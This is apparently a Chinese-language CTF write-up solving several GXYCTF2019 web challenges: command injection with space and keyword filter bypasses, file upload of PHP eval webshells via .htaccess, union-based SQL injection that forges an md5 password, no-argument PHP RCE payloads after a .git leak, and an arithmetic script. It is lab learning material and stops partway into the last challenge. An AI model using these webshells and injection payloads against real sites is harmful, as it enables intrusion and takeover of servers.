GXYCTF
0x01前言
坚持每天都做做赛题,加油!
0x02赛题
[GXYCTF2019]Ping Ping Ping
根据题目可以知道这个可能是rce命令执行题目,先ping一下本地看看
/?ip=127.0.0.1
ping出来了,那就试一下管道符拼接命令
/?ip=127.0.0.1||ls
介绍一下||管道符
|| | A||B | A命令语句执行失败,然后才执行B命令语句,否则执行A命令语句 |
---|
没有发现回显,一开始以为这不是linux环境我我还换了dir查看目录,发现dir也不行,我就换了一下管道符,用分号拼接ls
/?ip=127.0.0.1;ls
发现flag.php文件,尝试cat一下
/?ip=127.0.0.1;cat flag.php
出现回显,原来是过滤了空格
那就用绕过空格过滤的方法
绕过空格过滤
- < <> 重定向符
- %20(space)
- %09(tab)
- $IFS$1
- ${IFS}(最好用这个)
- $IFS
- %0a 换行符
- {cat,flag.txt} 在大括号中逗号可起分隔作用
用${IFS}试试看
/?ip=127.0.0.1;cat${IFS}flag.php
发现{}符号也被过滤了
用$IFS$1试试
/?ip=127.0.0.1;cat$IFS$1flag.php
好吧flag也被过滤了,那就用通配符进行绕过
通配符绕过
配符是由shell处理的, 它只会出现在 命令的“参数”里。当shell在“参数”中遇到了通配符时,shell会将其当作路径或文件名去在磁盘上搜寻可能的匹配:若符合要求的匹配存在,则进行代换(路径扩展);否则就将该通配符作为一个普通字符传递给“命令”,然后再由命令进行处理。总之,通配符 实际上就是一种shell实现的路径扩展功能。在 通配符被处理后, shell会先完成该命令的重组,然后再继续处理重组后的命令,直至执行该命令。
* | 匹配任何字符串/文本,包括空字符串;*代表任意字符(0个或多个) |
---|---|
? | 匹配任何一个字符(不在括号内时)?代表任意1个字符 |
[abcd ] | 匹配指定字符范围内的任意单个字符 |
[a-z] | 表示范围a到z,表示范围的意思 |
对于linux cat和ca’’t ca\t ca””t效果是相同的 这样同样可以绕过字符的限制
真可恶,*和?都被过滤了
换成别的绕过方法试一下
其他绕过flag方法
1.反斜杠\绕过flag
2.’’单引号绕过flag
发现还是不能绕过,我们倒回去看一下index里面看看有没有源代码吧
这里对flag进行了任意字符的匹配,所以无论中间用什么字符进行隔开绕过都会当成flag进行处理,这时候我们可以试一下赋值拼接绕过
/?ip=127.0.0.1;b=ag;c=fl;cat$IFS$1$c$b.php
发现并没有过滤的回显,看一下源码里面有没有flag,终于找到了
注意:有些绕过了flag但在源码中并没有找到flag,我也不知道是什么原因
[GXYCTF2019]BabyUpload
一看就是文件上传漏洞
先传一句话木马看看
1 | eval($_POST['code']); |
发现有文件后缀的验证,由此我们得知,文件后缀不可以有ph,那么php3,php5,phtml等后缀自然无法使用了。先测试一下看看是前端验证还是后端
先把文件后缀改成jpg格式,然后上传并抓包修改后缀为php,再放包
发现还是对后缀名进行了警告,说明应该不是前端的js验证后缀名了,考虑是不是文件头检测
那就做一个图片马
先选一张小一点的图片,然后将一句话木马和图片合成为一张图片马
cmd命令
copy /b 原始图片.jpg + 恶意代码文件.php 合成图片.jpg
不放心的话我们可以把2.jpg拖到010里面看一下是否有一句话木马
这里上传图片马记得修改后缀名,图片截的有问题
也有警告,试一下00截断能不能绕过php
好吧,骗不过他
试一下**.htaccess**文件上传
先传一个**.htaccess**文件看看能不能成功
新建一个txt文件并写入
AddType application/x-httpd-php .jpg
意思是可以将上传的jpg文件当作php文件去解析
然后将后缀名改成.htaccess
上传看看能不能通过
发现还是显示上传类型太露骨,应该是也对htaccess文件进行了过滤,我们试着把content_type头改一下
修改如下
发现上传成功,我们试着传一个jpg格式的一句话木马
结果发现还是传不了,我直接换了一个木马,换成phtml的木马
1 | <script language="php">eval($_REQUEST[cmd])</script> |
发现这个上传成功了,那我们访问一下木马
发现没有呈现图片,说明我们的phtml文件被解析执行了,那就直接用蚁剑连接找flag就行了
[GXYCTF2019]BabySQli
打开题目是登录界面,那就先进行一系列的测试
用1和1’测试后发信有回显报错,判断存在注入点且为单引号闭合
接下来是判断注入类型了,看看是整数型还是字符型
但是当我用or 1=1判断的时候出现页面
猜测应该是or被黑名单限制了
后续用双写绕过,order by判断字段数也是一样,基本上确定有黑名单验证了
直接试一下union有没有被过滤
1’ union select 1,2#
1’ union select 1,2,3#
没报错,说明字段数应该是3个
虽然union select没被过滤,但database被过滤了,真让人头大
抓包做看看有没有线索
居然还真有,在response包中看到一段注释掉的编码,我们解码一下
我一开始用的base64解码发现是乱码,就试了一下其他base解码,通过测试发现是套加密(二次加密),需要先base32解码再base64解码
解码后的结果是:
1 | select * from user where username = '$name' |
可以看到注入点是在name参数,那就对name参数进行sql注入
先假设用户名是admin进行测试:
admin’#
发现出现wrong pass
证明是有admin这个用户的,但密码并不正确
不过这一关用到了sql的一个特性
sql特性:在联合查询并不存在的数据时,联合查询就会构造一个虚拟的数据
首先第一步判断回显点,利用穷举法,看页面回显判断
’union select1,2, ‘admin’#
页面回显 wrong user! 但我们知道 用户名是正确的,所以只能是位置错了。
由此判断出 admin的位置
‘union select 1,’admin’,3#
通过题目的源代码可以知道,这里的密码是进行了md5加密过的,在最后面的代码中中提到只有密码进行md5编码才会得到flag
1 | <!--MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5--> |
那我们就构造虚拟的数据
name=1’ union select 1,’admin’,’c4ca4238a0b923820dcc509a6f75849b’#&pw=1
这里c4ca4238a0b923820dcc509a6f75849b是1的md5加密值
这里利用的知识点不多,但是如果不看源代码的话估计到死都做不出来这道题
[GXYCTF2019]禁止套娃
是一点线索都不给啊
用御剑扫了一下目录,但也没什么收获
参考了各位师傅的wp后发现是.git泄露
用githack把泄露的代码摘下来
1 | python githack.py url/.git/ |
摘下来的代码会放在githack目录下
进入b4d0310f-0918-425b-8f37-c1069fc45ecf.node5.buuoj.cn_81文件可以看到有index.php,说明源代码被我们摘下来了
index.php
1 |
|
preg_match(‘/data://|filter://|php://|phar:///i’, $_GET[‘exp’])–这里过滤了大部分的伪协议,比如 data://
、filter://
、php://
和 phar://
if (‘;’ === preg_replace(‘/[a-z,_]+((?R)?)/‘, NULL, $_GET[‘exp’]))–这里的匹配替换一个字符+符号+加上对括号的递归调用,例如以下
判断匹配替换后的 结果是不是为;,说明这里我们只能让传入的exp是仅包含函数调用的形式,替换结果才会为;,比如func();,而不应该有其他字符
if (!preg_match(‘/et|na|info|dec|bin|hex|oct|pi|log/i’, $_GET[‘exp’])) –这里进一步检查输入中的字符是否包含关键字
解题思路:函数嵌套实现无参数rce
明确了是需要实现无参数rce的话,那我们得通过第三层验证考虑哪些函数可以用了,
preg_match(‘/et|na|info|dec|bin|hex|oct|pi|log/i’, $_GET[‘exp’])
payload1:读取文件
1 | exp=highlight_file(next(array_reverse(scandir(pos(localeconv()))))); |
highlight_file() 函数对文件进行语法高亮显示,本函数是show_source() 的别名
next() 输出数组中的当前元素和下一个元素的值。
array_reverse() 函数以相反的元素顺序返回数组。(主要是能返回值)
scandir() 函数返回指定目录中的文件和目录的数组。
pos() 输出数组中的当前元素的值。
localeconv() 函数返回一个包含本地数字及货币格式信息的数组,该数组的第一个元素就是”.”。
payload2:数组操作
1 | ?exp=var_dump(scandir(pos(localeconv()))); |
pos() / current()
默认返回数组第一个元素end()
: 将内部指针指向数组中的最后一个元素,并输出next()
:将内部指针指向数组中的下一个元素,并输出prev()
:将内部指针指向数组中的上一个元素,并输出reset()
: 将内部指针指向数组中的第一个元素,并输出each()
: 返回当前元素的键名和键值,并将内部指针向前移动
pos()
输出数组中的当前元素的值。
localeconv()
函数返回一个包含本地数字及货币格式信息的数组,该数组的第一个元素就是”.”。
array_reverse()
函数将数组逆向返回
payload3:session_id
通过获取session_id设置为flag.php来获取flag
1 | ?exp=highlight_file(session_id(session_start())); |
1 | Request: |
[GXYCTF2019]StrongestMind
算出来填进去看看回显
发现每次的计算都不一样,那bp抓包提交应该是不行的了,只能写个脚本
加减法计算脚本
1 | import re |
如果觉得慢的话可以写多线程的或者设置延时时间,这样会快得多,但也容易出现429
[GXYCTF2019]BabysqliV3.0
弱口令登录一下,发现就登录成功了
一开始以为是一道文件上传题目,但是打半天没打通,后来才发现是一道phar反序列化